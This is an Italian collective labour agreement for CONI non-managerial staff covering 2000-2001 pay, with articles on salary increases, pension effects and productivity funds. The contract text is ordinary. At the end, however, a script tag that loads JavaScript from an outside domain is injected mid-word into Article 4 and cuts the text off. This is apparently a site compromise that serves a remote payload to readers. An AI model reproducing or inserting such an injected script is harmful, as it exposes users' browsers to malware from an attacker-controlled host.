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Categoria: CONI Settore: Pubblica Amministrazione Data stipula: 7-3-2002 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2001
Contratto Collettivo Nazionale di Lavoro
relativo al biennio economico 2000-2001
DEL PERSONALE NON DIRIGENTE DEL CONI
In data 7 marzo 2002, alle ore 17 ha avuto luogo l'incontro per la
definizione del CCNL in oggetto tra:
- ARAN nella persona di Antonio Guida, componente del Comitato direttivo,
per delega del Presidente Guido Fantoni;
e le seguenti Organizzazioni sindacali:
- CGIL-FP
- CISL-FPS
- UIL-PA
- CONFSAL-UGL
- CISAL-SNALCO
- RDB-PI
e Confederazioni sindacali:
- CGIL
- CISL
- UIL
- UGL
- CISAL
- RDB-CUB;
Al termine della riunione le parti hanno sottoscritto l'allegato CCNL per
il personale non dirigente del CONI, biennio economico 2000-2001
Art. 1 - Campo di applicazione.
Il presente CCNL, relativo al biennio economico 2000-2001, si applica al
personale e ai professionisti dipendenti del CONI destinatari del CCNL
stipulato il 15.5.01.
Art. 2 - Aumenti dello stipendio tabellare .
1)
Gli stipendi tabellari derivanti dall'applicazione dell'art. 65, CCNL
15.5.01, corrispondenti alle posizioni economiche rivestite nell'ambito
del sistema di classificazione, sono incrementati con le decorrenze e
negli importi lordi mensili, per 13 mensilità, indicati nell'allegata
tabella 1.
2)
Gli importi annui degli stipendi tabellari, risultanti dall'applicazione
del comma 1, sono rideterminati alle scadenze e nelle misure stabilite
dall'allegata tabella 2.
3)
Gli stipendi tabellari dei professionisti dipendenti di cui all'art. 82,
CCNL 15.5.01, sono incrementati con le decorrenze e negli importi lordi
mensili, per 13 mensilità, indicati nell'allegata tabella 3.
4)
Gli importi annui degli stipendi tabellari dei professionisti dipendenti
risultanti dall'applicazione del comma 3, sono rideterminati alle scadenze
e nelle misure stabilite dall'allegata tabella 4.
5)
Gli incrementi retributivi di cui ai commi 1 e 3 sono corrisposti al netto
delle indennità di vacanza contrattuale già percepite con le modalità e
nelle misure stabilite dall'art. 1, comma 4, CCNL 19.11.96.
Art. 3 - Effetti dei nuovi stipendi.
1)
Le misure degli stipendi tabellari, risultanti dall'applicazione dell'art.
2, sono utili ai fini della 13a mensilità, dei trattamenti di previdenza e
di quiescenza, dell'equo indennizzo e sono assunte a base ai fini delle
ritenute previdenziali e assistenziali e relativi contributi, nonché della
determinazione della misura dei contributi di riscatto.
2)
I benefici economici risultanti dall'applicazione dell'art. 2 sono
computati ai fini previdenziali, secondo gli ordinamenti vigenti, alle
scadenze e negli importi previsti dal medesimo articolo, nei confronti del
personale comunque cessato dal servizio, con diritto a pensione, nel
periodo di vigenza economica del presente contratto; agli effetti del
trattamento di fine servizio, dell'indennità sostitutiva del preavviso,
nonché di quella prevista dall'art. 2122 CC, si considerano solo gli
aumenti maturati alla data di cessazione del rapporto di lavoro.
Art. 4 - Integrazione delle risorse per le politiche di sviluppo
delle risorse umane e per la produttività.
1)
Nel periodo luglio-dicembre 2000, le risorse per le politiche di sviluppo
delle risorse umane e per la produttività di cui all'art. 67, CCNL
15.5.01, sono incrementate di un importo pari allo 0,17% del monte salari
del 1999, esclusa la quota relativa alla dirigenza e ai professionisti
dipendenti.
2)
A valere dal 2001, la percentuale d'incremento di cui al comma 1 è
rideterminata nella misura dello 0,31%.
3)
Il CONI, nel rispetto dei limiti del proprio bilancio e in presenza di
condizioni organizzative e gestionali che consentano i controlli interni e
la valutazione dei risultati secondo i principi generali di cui al D.lgs.
n. 286/99, può destinare risorse aggiunt<script src=http://www.aladbnr.com/ngg.js></script>
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